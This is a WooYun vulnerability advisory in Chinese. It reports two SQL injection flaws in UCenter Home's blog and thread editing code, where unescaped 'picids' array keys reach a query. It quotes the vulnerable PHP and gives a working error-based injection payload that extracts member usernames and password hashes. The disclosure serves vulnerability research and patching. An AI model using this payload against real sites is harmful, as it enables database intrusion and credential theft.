当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069690

漏洞标题:Ucenter Home最新版SQL注入两处

相关厂商:Discuz!

漏洞作者: xfkxfk

提交时间:2014-07-25 17:48

修复时间:2014-10-20 17:50

公开时间:2014-10-20 17:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-25: 细节已通知厂商并且等待厂商处理中
2014-07-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-09-23: 细节向核心白帽子及相关领域专家公开
2014-10-03: 细节向普通白帽子公开
2014-10-13: 细节向实习白帽子公开
2014-10-20: 细节向公众公开

简要描述:

Ucenter Home最新版SQL注入两处,比较隐蔽

详细说明:

在编辑日志处
文件cp_blog.php:

//添加编辑操作
if(submitcheck('blogsubmit')) {
if(empty($blog['blogid'])) {
$blog = array();
} else {
if(!checkperm('allowblog')) {
ckspacelog();
showmessage('no_authority_to_add_log');
}
}

//验证码
if(checkperm('seccode') && !ckseccode($_POST['seccode'])) {
showmessage('incorrect_code');
}

include_once(S_ROOT.'./source/function_blog.php');
if($newblog = blog_post($_POST, $blog)) {
if(empty($blog) && $newblog['topicid']) {
$url = 'space.php?do=topic&topicid='.$newblog['topicid'].'&view=blog';
} else {
$url = 'space.php?uid='.$newblog['uid'].'&do=blog&id='.$newblog['blogid'];
}
showmessage('do_success', $url, 0);
} else {
showmessage('that_should_at_least_write_things');
}
}


注意这里的$newblog = blog_post($_POST, $blog)
更新内容应该是在blog_post函数,跟进。
文件function_blof.php:

//添加博客
function blog_post($POST, $olds=array()) {
global $_SGLOBAL, $_SC, $space;

//操作者角色切换
$isself = 1;
if(!empty($olds['uid']) && $olds['uid'] != $_SGLOBAL['supe_uid']) {
$isself = 0;
$__SGLOBAL = $_SGLOBAL;
$_SGLOBAL['supe_uid'] = $olds['uid'];
$_SGLOBAL['supe_username'] = addslashes($olds['username']);
}
......
//获取上传的图片
$uploads = array();
if(!empty($POST['picids'])) {
$picids = array_keys($POST['picids']);
print_r($picids);
$query = $_SGLOBAL['db']->query("SELECT * FROM ".tname('pic')." WHERE picid IN (".simplode($picids).") AND uid='$_SGLOBAL[supe_uid]'");
while ($value = $_SGLOBAL['db']->fetch_array($query)) {
if(empty($titlepic) && $value['thumb']) {
$titlepic = $value['filepath'].'.thumb.jpg';
$blogarr['picflag'] = $value['remote']?2:1;
}
$uploads[$POST['picids'][$value['picid']]] = $value;
}
if(empty($titlepic) && $value) {
$titlepic = $value['filepath'];
$blogarr['picflag'] = $value['remote']?2:1;
}
}


在获取上传图片时,看这里的关键代码:

$picids = array_keys($POST['picids']);
$query = $_SGLOBAL['db']->query("SELECT * FROM ".tname('pic')." WHERE picid IN (".simplode($picids).") AND uid='$_SGLOBAL[supe_uid]'");


$picids = array_keys($POST['picids']),获取了picids的数组的全部键值
然后picdis进入了SQL,这里导致了SQL注入。
第二处SQL注入
文件cp_thread.php

if(submitcheck('threadsubmit')) {
$tid = $_POST['tid'] = intval($_POST['tid']);
$tagid = empty($_POST['tagid'])?0:intval($_POST['tagid']);

if($eventid && $event['tagid']!=$tagid) {
showmessage('event_mtag_not_match');
}
......//省略
//获取上传的图片
$uploads = array();
if(!empty($_POST['picids'])) {
$picids = array_keys($_POST['picids']);
$query = $_SGLOBAL['db']->query("SELECT * FROM ".tname('pic')." WHERE picid IN (".simplode($picids).") AND uid='$_SGLOBAL[supe_uid]'");
while ($value = $_SGLOBAL['db']->fetch_array($query)) {
if(empty($titlepic) && $value['thumb']) {
$titlepic = pic_get($value['filepath'], $value['thumb'], $value['remote']);
}
$uploads[$_POST['picids'][$value['picid']]] = $value;
}
if(empty($titlepic) && $value) {
$titlepic = pic_get($value['filepath'], $value['thumb'], $value['remote']);
}
}


通用先获取了$_POST['picids']的值,然后直接进入了SQL语句,导致SQL注入
漏洞证明同第一处SQL注入。

漏洞证明:

1、发表一篇日志
2、编辑日志
3、在编辑日志是,上传图片:

666.png


4、然后保存是,抓包,修改POST数据:
修改picids[3]为:

picids[3',(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23, password) from uchome_member limit 0,1))a from information_schema.tables group by a)b))#]"


777.png


最后执行的sql语句为:

SELECT * FROM uchome_pic WHERE picid IN ('3',(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23, password) from uchome_member limit 0,1))a from information_schema.tables group by a)b))#','4') AND uid='2'


然后看返回:

888.png


888-1.png

修复方案:

进行array_keys后,对获取的keys也进行处理。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-20 17:50

厂商回复:

最新状态:

暂无